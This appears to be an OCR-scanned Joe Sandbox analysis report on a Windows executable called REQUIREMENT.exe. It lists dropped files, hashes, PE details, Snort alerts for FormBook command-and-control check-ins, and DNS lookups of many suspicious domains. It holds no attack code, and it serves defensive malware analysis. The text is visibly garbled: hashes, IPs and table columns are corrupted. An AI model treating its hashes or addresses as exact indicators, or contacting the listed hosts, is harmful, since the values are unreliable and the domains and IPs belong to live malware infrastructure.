https://view.joesandbox.com/analysis/394014/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394014/html/none?idtype=webid
https://view.joesandbox.com/analysis/394001/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394001/html/none?idtype=webid
https://view.joesandbox.com/analysis/393999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393999/html/none?idtype=webid
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid
https://view.joesandbox.com/analysis/393976/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393976/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid
https://view.joesandbox.com/analysis/393837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393837/html/none?idtype=webid
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid
https://view.joesandbox.com/analysis/393733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393733/html/none?idtype=webid
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid
https://view.joesandbox.com/analysis/393415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393415/html/none?idtype=webid
https://view.joesandbox.com/analysis/393141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393141/html/none?idtype=webid
https://view.joesandbox.com/analysis/392007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392007/html/none?idtype=webid
https://view.joesandbox.com/analysis/391858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391858/html/none?idtype=webid

Match
37f463bf4616ecd445d4a1937da06el9
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Associated Sample Name / URL

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33

172.217.168.46
172.217.168.78
142.250.18
5.161
172.217.168.33
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https://view.joesandbox.com/analysis/394604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid
https://view.joesandbox.com/analysis/394603/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394603/html/none?idtype=webid
https://view.joesandbox.com/analysis/394556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394556/html/none?idtype=webid
https://view.joesandbox.com/analysis/394546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394546/html/none?idtype=webid
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid
https://view.joesandbox.com/analysis/394531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394531/html/none?idtype=webid
https://view.joesandbox.com/analysis/394522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394522/html/none?idtype=webid
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid
https://view.joesandbox.com/analysis/394363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394363/html/none?idtype=webid
https://view.joesandbox.com/analysis/394340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394340/html/none?idtype=webid
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid
https://view.joesandbox.com/analysis/394300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394300/html/none?idtype=webid
https://view.joesandbox.com/analysis/394264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394264/html/none?idtype=webid
https://view.joesandbox.com/analysis/394240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394240/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 172.217.168.46
e 172.217.168.78
e 142.250.18

5.161

172.217.168.33

Get hash malicious Browse e 172.217.168.46
e 172.217.168.78
e 142.250.18

5.161

172.217.168.33

Get hash malicious Browse e 172.217.168.46
e 172.217.168.78
e 142.250.18

5.161

172.217.168.33

Get hash malicious Browse e 172.217.168.46
e 172.217.168.78
e 142.250.18

5.161

172.217.168.33

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

102400

5.945342837977056

false
1536:tWD8ICOQRNNBMIrdvWMyWiWjkuIM6ANhmXDLZBD:tW4iCOINGI9rAMy+M6KYB
FB70FF484021669624233D0FBD77EC6A
6820B13631967663EC2637C43C828468633051FD
2B40757A6763AA725D86426CE3CD16FCF1380A9152837D4FBESESB085710054C
57BCAC78A12191DF511DBB96F6D494096B56F269C3D009F373993574FF529698239BCC886DCC10EF162EFOC1D9AC0A4C6008813DC88BECF4DB8C700C35C0OF4
true

e Antivirus: ReversingLabs, Detection: 49%

.L.IThis program cannot be run in DOS mode....$.. .Rich.

T
o
®®

C:\Users\user\AppData\Local\Temp\DB1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

SQLite 3.x database, last written using SQLite version 3035005

dropped

40960

0.8384034474405602

false
48:13WB14fxcKzslYICVEq8MX0DOHSFINUKGEIGNXGt7KLk8s8LKVUfIKVYJI7hU:J2CdCn8MZyFIUIGNXGt7KLyeymw
3486408AF6E5BFDBE15DEDDEFB834576

8118E27D74977C176BD305862105CE5F22AE10D8
5B26EE9B1FF774148D102BD7594D4B31C4B004D05C42F72EF82B1C90362B2196

E2FA45693DDBE1A42C6855439A394E1CO0AES8EC81FDCA4B8F1BC6EC37E93AE9389D0OEOCCC3C4419572DD09371590384E859324F163BDFD462C2B1D4FF7F7ED1E
3

false

SQLite format 3..

O}..
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https://view.joesandbox.com/analysis/394227/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394227/html/none?idtype=webid
https://view.joesandbox.com/analysis/394199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394199/html/none?idtype=webid
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid
https://view.joesandbox.com/analysis/394074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394074/html/none?idtype=webid

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\explorer.exe

Composite Document File V2 Document, Cannot read section info

modified

7168

4.293554016975187

false
48:rnP8TJ+SyD98AASGuUfBedrCSKum13ncSCuz0ldNdOVZ/JGuadR9F/dBdOvoSSuiR:gTORIQEBedGJI1M7/0dR3TRX
3E816923BA81E5D113C621EEFCB70865

1165F3E591D7CA9897EOFAB0A7B844FA1EC04BD5
6C79FF6FD49A2EF5A0955EE4BD31D3FCD69D609CAD733355751045E84E55FFIB
4D442AE400C4A5355DF4F3CE1DA0432A33BCF86EASB2D401E37D71FA1B540C3D70D4E14924CD3D8B66140E027E69C5F8515F679AE47D09D7673B8EAI3F1B15(

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

PE32 executable (GUI) Intel 80386, for MS Windows

5.945342837977056

e Win32 Executable (generic) a (10002005/4)
99.15%

e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

REQUIREMENT.exe

102400

fb70ff484021669624233d0fbd77ec6a
6820b13631967663ec2637c43c828468633051fd

2b40757a6763aa725d86426ce3cd16fcf1380a9152837d<
fbe5e5b085710054¢

57bcac78a12191df511dbb96f6d494096b56f269c3d009f
373993574ff529698239bcc886dcc10ef162ef0c1d9acOa
4c6008813dc88becf4db8c700c35c0f47e

1536:tWD8ICOQRNNBMIrdvWMyWiwjkulIM6AnhmXDL
ZBD:tW4iCOINGIrAMy+M6KYB

is program cannot be run in DOS mode....$.
* .Rich.

File Icon

Icon Hash: 69e1c892f664c884

Static PE Info

General

Entrypoint: 0x401378

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp:

0x51B926D4 [Thu Jun 13 01:56:36 2013 UTC]
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General
TLS Callbacks:
CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 669316531b5190f02843878b6ed87394

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Ox14fe8 0x15000 False 0.514962332589 data 6.38314027792 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x16000 0xdOc 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x17000 Ox1cbh2 0x2000 False 0.348388671875 data 3.76635467806 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

. . N

English United States

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP

10/13/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49793 80 192.168.11.20 51.77.52.109

15:48:15.815475

10/13/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49793 80 192.168.11.20 51.77.52.109

15:48:15.815475

10/13/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49793 80 192.168.11.20 51.77.52.109

15:48:15.815475

10/13/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49795 80 192.168.11.20 172.67.139.41

15:48:26.950542

10/13/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49795 80 192.168.11.20 172.67.139.41

15:48:26.950542

10/13/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49795 80 192.168.11.20 172.67.139.41

15:48:26.950542

10/13/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49796 80 192.168.11.20 34.102.136.180

15:48:32.017186

10/13/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49796 80 192.168.11.20 34.102.136.180

15:48:32.017186

10/13/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49796 80 192.168.11.20 34.102.136.180

15:48:32.017186

10/13/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49796 34.102.136.180 192.168.11.20

15:48:32.123902
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Timestamp

10/13/21-
15:49:11.731408

10/13/21-
15:49:28.012270

10/13/21-
15:49:28.012270

10/13/21-
15:49:28.012270

10/13/21-
15:49:40.986035

10/13/21-
15:49:51.480106

10/13/21-
15:49:51.480106

10/13/21-
15:49:51.480106

10/13/21-
15:49:56.865542

10/13/21-
15:49:56.865542

10/13/21-
15:49:56.865542

10/13/21-
15:50:02.084648

10/13/21-
15:50:02.084648

10/13/21-
15:50:02.084648

10/13/21-
15:50:07.575224

10/13/21-
15:50:44.881393

10/13/21-
15:51:09.550588

10/13/21-
15:51:09.550588

10/13/21-
15:51:09.550588

10/13/21-
15:51:22.215039

10/13/21-
15:51:40.937059

10/13/21-
15:52:48.959781

10/13/21-
15:52:48.959781

10/13/21-
15:52:48.959781

10/13/21-
15:52:54.173382

10/13/21-
15:53:16.219924

10/13/21-
15:53:36.200521

10/13/21-
15:53:36.200521

10/13/21-
15:53:36.200521

10/13/21-
15:54:11.217942

10/13/21-
15:54:15.522927

10/13/21-
15:54:30.056496

10/13/21-
15:54:30.056496

10/13/21-
15:54:30.056496

10/13/21-
15:54:35.279756

10/13/21-
15:54:35.279756

10/13/21-
15:54:35.279756

Protocol SID
TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

ICMP 402

TCP 2031453

TCP 2031449

TCP 2031412

TCP 2031453

TCP 2031449

TCP 2031412

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

ICMP 402

ICMP 402

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

ICMP 402

ICMP 402

TCP 2031453

TCP 2031449

TCP 2031412

TCP 2031453

TCP 2031449

TCP 2031412

Copyright Joe Security LLC 2021

Message

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source

Port

80

49805

49805

49805

49807

49807

49807

49808

49808

49808

49809

49809

49809

80

80

49820

49820

49820

49841

49841

49841

80

80

49858

49858

49858

49863

49863

49863

49864

49864

49864

Dest

Port

49803

80

80

80

80

80

80

80

80

80

80

80

80

49810

49816

80

80

80

80

80

80

49843

49851

80

80

80

80

80

80

80

80

80

Source IP

34.102.136.180

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

75.2.115.196

34.102.136.180

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

75.2.115.196

34.102.136.180

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Dest IP
192.168.11.20

216.189.108.75

216.189.108.75

216.189.108.75

9.9.9.9

15.197.150.5

15.197.150.5

15.197.150.5

198.54.117.211

198.54.117.211

198.54.117.211

142.250.186.179

142.250.186.179

142.250.186.179

192.168.11.20

192.168.11.20

216.189.108.75

216.189.108.75

216.189.108.75

9.9.9.9

1111

172.67.139.41

172.67.139.41

172.67.139.41

192.168.11.20

192.168.11.20

216.189.108.75

216.189.108.75

216.189.108.75

9.9.9.9

9.9.9.9

137.117.17.70

137.117.17.70

137.117.17.70

192.0.78.25

192.0.78.25

192.0.78.25
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
10/13/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.11.20 1.1.1.1
15:54:46.424484

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Oct 13, 2021 15:47:08.569448948 CEST 192.168.11.20 1111 0xe847 Standard query  drive.google.com A (IP address) IN (0x0001)
()
Oct 13, 2021 15:47:09.256728888 CEST 192.168.11.20 1111 0xd600 Standard query  doc-04-7g- A (IP address) IN (0x0001)
(0) docs.googl
eusercontent.com
Oct 13, 2021 15:48:15.109159946 CEST 192.168.11.20 1111 0x2583 Standard query  www.hkauto A (IP address) IN (0x0001)
(0) box.com
Oct 13, 2021 15:48:20.857351065 CEST 192.168.11.20 1111 Oxccab5 Standard query  www.taichan.xyz A (IP address) IN (0x0001)
)
Oct 13, 2021 15:48:26.840656042 CEST 192.168.11.20 1111 0x62bf Standard query  www.resear A (IP address) IN (0x0001)
(0) chlearning
spirit.xyz
Oct 13, 2021 15:48:31.979652882 CEST 192.168.11.20 1111 0x79d5 Standard query  www.bestof A (IP address) IN (0x0001)
(0) napa.guide
Oct 13, 2021 15:48:37.134753942 CEST 192.168.11.20 1111 0x10c3 Standard query  www.bqggfk.com A (IP address) IN (0x0001)
)
Oct 13, 2021 15:48:43.227217913 CEST 192.168.11.20 1111 0x8473 Standard query ~ www.centra A (IP address) IN (0x0001)
0) Icontable.net
Oct 13, 2021 15:48:49.257591963 CEST 192.168.11.20 1111 Ox7acc Standard query ~ www.mobile A (IP address) IN (0x0001)
0) iranian2.com
Oct 13, 2021 15:48:54.865354061 CEST 192.168.11.20 1111 0x5003 Standard query  www.soymilk- A (IP address) IN (0x0001)
0) design.com
Oct 13, 2021 15:49:00.520138025 CEST 192.168.11.20 1111 0x8699 Standard query  www.domain A (IP address) IN (0x0001)
©0) air.biz
Oct 13, 2021 15:49:05.956368923 CEST 192.168.11.20 1111 0xd29f Standard query  www.nazfoo A (IP address) IN (0x0001)
0) dstuff.com
Oct 13, 2021 15:49:11.596829891 CEST 192.168.11.20 1111 0x13fd Standard query  www.cacaol A (IP address) IN (0x0001)
0) ixir.com
Oct 13, 2021 15:49:16.735208035 CEST 192.168.11.20 11.1.1 0x19b4 Standard query  www.fisher A (IP address) IN (0x0001)
(0) mandm.com
Oct 13, 2021 15:49:27.170883894 CEST 192.168.11.20 11.1.1 0x3bb Standard query  www.tpmion A (IP address) IN (0x0001)
0) line.com
Oct 13, 2021 15:49:33.169308901 CEST 192.168.11.20 1111 0x6d81 Standard query  www.shopsh A (IP address) IN (0x0001)
0) arpgraphics.com
Oct 13, 2021 15:49:38.917963028 CEST 192.168.11.20 1111 0x8cée Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:49:39.389360905 CEST 192.168.11.20 9.9.9.9 0x8cée Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:49:40.401524067 CEST 192.168.11.20 9.9.9.9 0x8c6e Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:49:51.055682898 CEST 192.168.11.20 1111 0xc512 Standard query  www.jkwhit A (IP address) IN (0x0001)
(0) leyphotogr
aphy.com
Oct 13, 2021 15:49:56.663837910 CEST 192.168.11.20 1111 0x32e Standard query  www.boliden- A (IP address) IN (0x0001)
(0) ab.com
Oct 13, 2021 15:50:02.038378954 CEST 192.168.11.20 1.1.1.1 0x523f Standard query  www.jachal A (IP address) IN (0x0001)
(0) juega.com
Oct 13, 2021 15:50:07.208560944 CEST 192.168.11.20 1.1.1.1 0xd70 Standard query  www.xn--4p A (IP address) IN (0x0001)
(0) vw92bcry.com
Oct 13, 2021 15:50:12.582761049 CEST 192.168.11.20 1.1.1.1 0x1f89 Standard query  www.cerule A (IP address) IN (0x0001)
(0) den.com
Oct 13, 2021 15:50:23.579931974 CEST 192.168.11.20 1.1.1.1 0x9571 Standard query  www.marvel A (IP address) IN (0x0001)
(0) louslles.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 13, 2021 15:50:29.032129049 CEST 192.168.11.20 1111 0xc8f8 Standard query  www.originial- A (IP address) IN (0x0001)
(0) motors.com
Oct 13, 2021 15:50:55.104711056 CEST 192.168.11.20 11.1.1 0x2d65 Standard query  www.high-c A (IP address) IN (0x0001)
(0) licks.com
Oct 13, 2021 15:51:20.223670959 CEST 192.168.11.20 1.1.1.1 0x925f Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:51:20.482564926 CEST 192.168.11.20 9.9.99 0x925f Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:51:21.488670111 CEST 192.168.11.20 9.9.99 0x925f Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:51:39.344506025 CEST 192.168.11.20 1111 0x683d Standard query  www.alo360.net A (IP address) IN (0x0001)
(0)
Oct 13, 2021 15:51:40.359618902 CEST 192.168.11.20 9.9.9.9 0x683d Standard query  www.alo360.net A (IP address) IN (0x0001)
(0
Oct 13, 2021 15:51:46.545898914 CEST 192.168.11.20 9.9.99 0x7034 Standard query  www.ebbtid A (IP address) IN (0x0001)
(0) efloodtide.com
Oct 13, 2021 15:51:47.105791092 CEST 192.168.11.20 9.9.9.9 0xfb0 Standard query  doc-00-60- A (IP address) IN (0x0001)
(0) docs.googl
eusercontent.com
Oct 13, 2021 15:51:47.475670099 CEST 192.168.11.20 9.9.9.9 0x6499 Standard query  docs.google.com A (IP address) IN (0x0001)
(0)
Oct 13, 2021 15:51:51.607357025 CEST 192.168.11.20 9.9.9.9 Oxab29 Standard query  www.originial- A (IP address) IN (0x0001)
(0) motors.com
Oct 13, 2021 15:51:56.654273033 CEST 192.168.11.20 9.9.9.9 0xb93a Standard query ~ www.thousa A (IP address) IN (0x0001)
(0) ndoaks-bui
ckgmc.com
Oct 13, 2021 15:52:18.492887974 CEST 192.168.11.20 9.9.9.9 0x75e7 Standard query ~ www.thousa A (IP address) IN (0x0001)
0) ndoaks-bui
ckgmc.com
Oct 13, 2021 15:52:35.173947096 CEST 192.168.11.20 9.9.9.9 0x421b Standard query  clients.config.offic A (IP address) IN (0x0001)
(0) e.net
Oct 13, 2021 15:52:43.846261978 CEST 192.168.11.20 9.9.9.9 0xad04 Standard query  www.nul2.online A (IP address) IN (0x0001)
)
Oct 13, 2021 15:52:59.186666012 CEST 192.168.11.20 9.9.9.9 0x67b6 Standard query  www.cinarg A (IP address) IN (0x0001)
0) eridonusum.com
Oct 13, 2021 15:53:46.894329071 CEST 192.168.11.20 9.9.9.9 0x34al Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:53:47.115298986 CEST 192.168.11.20 1111 0x34al Standard query  www.sancha A (IP address) IN (0x0001)
0) lanprokash
on.com
Oct 13, 2021 15:54:00.594572067 CEST 192.168.11.20 9.9.9.9 0x55e2 Standard query  www.yakyu- A (IP address) IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:01.109817982 CEST 192.168.11.20  1.1.1.1 0x55e2 Standard query  www.yakyu- A (IP address)  IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:02.125168085 CEST 192.168.11.20 9.9.9.9 0x55e2 Standard query  www.yakyu- A (IP address) IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:04.140288115 CEST 192.168.11.20 9.9.9.9 0x55e2 Standard query  www.yakyu- A (IP address) IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:04.140337944 CEST 192.168.11.20  1.1.1.1 0x55e2 Standard query  www.yakyu- A (IP address)  IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:08.155180931 CEST 192.168.11.20 9.9.9.9 0x55e2 Standard query  www.yakyu- A (IP address) IN (0x0001)
0) eiga.com
Oct 13, 2021 15:54:08.155185938 CEST 192.168.11.20 1111 0x55e2 Standard query  www.yakyu- A (IP address) IN (0x0001)
(0) eiga.com
Oct 13, 2021 15:54:13.514287949 CEST 192.168.11.20 9.9.9.9 0x8ef6 Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:54:13.756365061 CEST 192.168.11.20 1.1.1.1 0x8ef6 Standard query  www.sancha A (IP address) IN (0x0001)
(0) lanprokash
on.com
Oct 13, 2021 15:54:24.824090958 CEST 192.168.11.20 9.9.9.9 0x6d87 Standard query  www.6ohmf.info A (IP address) IN (0x0001)
0
Oct 13, 2021 15:54:29.853694916 CEST 192.168.11.20 9.9.99 0x20d Standard query  www.uprise A (IP address) IN (0x0001)
(0) healthmoni
toring.com
Oct 13, 2021 15:54:35.227685928 CEST 192.168.11.20 9.9.9.9 0x662c Standard query  www.estudio- A (IP address) IN (0x0001)
(0) me.com
Oct 13, 2021 15:54:40.461359024 CEST 192.168.11.20 9.9.99 Ox6efl Standard query  www.i8news- A (IP address) IN (0x0001)
(0) de.website
Oct 13, 2021 15:54:45.725404978 CEST 192.168.11.20 9.9.99 0x8e44 Standard query  www.alexan A (IP address) IN (0x0001)
(0) derorlandis.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 13, 2021 15:54:46.240529060 CEST 192.168.11.20 1111 0x8e44 Standard query  www.alexan A (IP address) IN (0x0001)
(0) derorlandis.com

DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Oct 13, 2021 1111 192.168.11.20  0xe847 No error (0) drive.goog 172.217.168.46 A (IP address)  IN (0x0001)
15:47:08.587738991 le.com
CEST
Oct 13, 2021 1111 192.168.11.20  0xd600 No error (0) doc-04-7g- googlehosted.l.googleuse CNAME IN (0x0001)
15:47:09.285367012 docs.googl rcontent.com (Canonical
CEST euserconte name)

nt.com
Oct 13, 2021 1111 192.168.11.20  0xd600 No error (0) googlehost 142.250.185.161 A (IP address)  IN (0x0001)
15:47:09.285367012 ed.l.googl
CEST euserconte

nt.com
Oct 13, 2021 1111 192.168.11.20  0x2583 No error (0) www.hkauto hkautobox.com CNAME IN (0x0001)
15:48:15.788871050 box.com (Canonical
CEST name)
Oct 13, 2021 1111 192.168.11.20  0x2583 No error (0) hkautobox.com 51.77.52.109 A (IP address)  IN (0x0001)
15:48:15.788871050
CEST
Oct 13, 2021 1111 192.168.11.20  Oxccab5 No error (0) www.taichan.xyz taichan.xyz CNAME IN (0x0001)
15:48:21.483603954 (Canonical
CEST name)
Oct 13, 2021 1111 192.168.11.20  Oxccab No error (0) taichan.xyz 103.164.172.49 A (IP address)  IN (0x0001)
15:48:21.483603954
CEST
Oct 13, 2021 1111 192.168.11.20  0x62bf No error (0) www.resear 172.67.139.41 A (IP address)  IN (0x0001)
15:48:26.940375090 chlearning
CEST spirit.xyz
Oct 13, 2021 1111 192.168.11.20  0x62bf No error (0) www.resear 104.21.46.132 A (IP address)  IN (0x0001)
15:48:26.940375090 chlearning
CEST spirit.xyz
Oct 13, 2021 1111 192.168.11.20  0x79d5 No error (0) www.bestof bestofnapa.guide CNAME IN (0x0001)
15:48:32.005676985 napa.guide (Canonical
CEST name)
Oct 13, 2021 1111 192.168.11.20  0x79d5 No error (0) bestofnapa 34.102.136.180 A (IP address)  IN (0x0001)
15:48:32.005676985 .guide
CEST
Oct 13, 2021 1111 192.168.11.20  0x10c3 No error (0) www.bqgfk.com 154.195.206.5 A (IP address)  IN (0x0001)
15:48:37.670172930
CEST
Oct 13, 2021 1111 192.168.11.20  0x8473 No error (0) www.centra centralcontable.net CNAME IN (0x0001)
15:48:43.982966900 Icontable.net (Canonical
CEST name)
